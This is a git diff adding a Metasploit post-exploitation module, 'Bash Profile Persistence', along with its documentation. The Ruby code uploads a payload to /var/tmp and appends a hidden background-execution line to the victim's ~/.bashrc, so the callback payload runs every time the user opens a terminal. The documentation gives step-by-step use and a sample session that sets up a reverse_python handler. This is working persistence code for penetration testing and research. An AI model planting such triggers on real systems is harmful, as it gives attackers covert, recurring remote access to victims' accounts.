diff --git a/documentation/modules/exploit/linux/local/bash_profile_persistence.md b/documentation/modules/exploit/linux/local/bash_profile_persistence.md new file mode 100644 index 0000000000..c591fb6286 --- /dev/null +++ b/documentation/modules/exploit/linux/local/bash_profile_persistence.md @@ -0,0 +1,50 @@ +## Description + + This module establishes persistence via the Linux Bash profile method. + This module makes two changes to the target system. + First, the module writes a payload to a directory (`/var/temp/` by default). + Second, the module writes a payload execution trigger to the Bash profile (`~/.bashrc` by default). + The persistent payload is executed whenever the victim user opens a Bash terminal. + +## Vulnerable Application + + This module has been tested successfully on: + + * Ubuntu 19 (x86_64) running GNU bash, version 5.0.3(1)-release + +## Verification Steps + + 1. Start `msfconsole` + 2. Get a Meterpreter session + 3. `use exploit/linux/local/bash_profile_persistence` + 4. `set SESSION [SESSION]` + 5. `run` + 6. On victim, open a new Bash terminal + 7. You should get a new session with the permissions of the exploited user account + +## Options + + **BASH_PROFILE** + + The path to the target Bash profile. (default: `~/.bashrc`) + + **PAYLOAD_DIR** + + A writable directory file system path. (default: `/var/tmp`) + +## Scenarios + +``` +msf5 > use exploit/linux/local/bash_profile_persistence +msf5 exploit(linux/local/bash_profile_persistence) > set SESSION 1 +msf5 exploit(linux/local/bash_profile_persistence) > exploit + +[*] Bash profile exists: /home/user/.bashrc +[*] Bash profile is writable: /home/user/.bashrc +[*] Created backup Bash profile: /root/.msf4/logs/persistence/192.168.1.191_20191128.130945_Bash_Profile.backup +[*] Writing '/var/tmp/IgHypGLMglheQ' (126 bytes) ... +[+] Wrote payload trigger to Bash profile +[!] Payload will be triggered when target opens a Bash terminal +[!] Don't forget to start your handler: +[!] msf> handler -H 0.0.0.0 -P 4444 -p cmd/unix/reverse_python +``` diff --git a/modules/exploits/linux/local/bash_profile_persistence.rb b/modules/exploits/linux/local/bash_profile_persistence.rb new file mode 100644 index 0000000000..2f85418215 --- /dev/null +++ b/modules/exploits/linux/local/bash_profile_persistence.rb @@ -0,0 +1,115 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = NormalRanking + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Unix + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Bash Profile Persistence', + 'Description' => %q{" + This module writes an execution trigger to the target's Bash profile. + The execution trigger executes a call back payload whenever the target + user opens a Bash terminal. A handler is not run automatically, so you + must configure an appropriate exploit/multi/handler to receive the callback. + "}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Michael Long ' + ], + 'DisclosureDate' => 'Jun 8 1989', # First public release of Bourne Again Shell + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'SessionTypes' => ['meterpreter', 'shell'], + 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' }, + 'Targets' => + [ + ['Automatic', {}] + ], + 'DefaultTarget' => 0, + 'Payload' => { + 'Compat' => + { + 'PayloadType' => 'cmd' + } + }, + 'References' => + [ + ['URL', 'https://attack.mitre.org/techniques/T1156/'] + ] + )) + + register_options( + [ + OptString.new('BASH_PROFILE', [true, 'Target Bash profile location. Usually ~/.bashrc or ~/.bash_profile.', '~/.bashrc']), + OptString.new('PAYLOAD_DIR', [true, 'Directory to write persistent payload file.', '/var/tmp/']) + ] + ) + end + + def exploit + + # expand home directory path (i.e. '~/.bashrc' becomes '/home/user/.bashrc') + profile_path = datastore['BASH_PROFILE'] + if profile_path.start_with?('~/') + home_directory = get_env('$HOME') + profile_path.sub!(/^~/, home_directory) + end + + # check that target Bash profile file exists + unless exist?(profile_path) + fail_with Failure::NotFound, profile_path + end + print_good("Bash profile exists: #{profile_path}") + + # check that target Bash profile file is writable + unless writable?(profile_path) + fail_with Failure::NoAccess, profile_path + end + print_good("Bash profile is writable: #{profile_path}") + + # create Bash profile backup on local system before persistence is added + backup_profile = read_file(profile_path) + backup_profile_path = create_backup_file(backup_profile) + print_status("Created backup Bash profile: #{backup_profile_path}") + + # upload persistent payload to target and make executable (chmod 700) + payload_file = datastore['PAYLOAD_DIR'] + Rex::Text.rand_text_alpha(10..16) + upload_and_chmodx(payload_file, payload.encoded) + + # write payload trigger to Bash profile + exec_payload_string = "#{payload_file} > /dev/null 2>&1 &" + "\n" # send stdin,out,err to /dev/null + append_file(profile_path, exec_payload_string) + print_good("Created Bash profile persistence") + print_status("Payload will be triggered when target opens a Bash terminal") + print_warning("Don't forget to start your handler:") + print_warning("msf> handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}") + end + + # create a backup copy of the target's Bash profile on the local system before persistence is added + def create_backup_file(backup_profile) + begin + hostname = session.sys.config.sysinfo["Computer"] + rescue + hostname = cmd_exec("hostname") + end + + timestamp = "_" + ::Time.now.strftime("%Y%m%d.%H%M%S") + + log_directory_name = ::File.join(Msf::Config.log_directory, 'persistence/' + hostname + timestamp) + + ::FileUtils.mkdir_p(log_directory_name) + + log_file_name = log_directory_name + "/Bash_Profile.backup" + file_local_write(log_file_name, backup_profile) + return log_file_name + end +end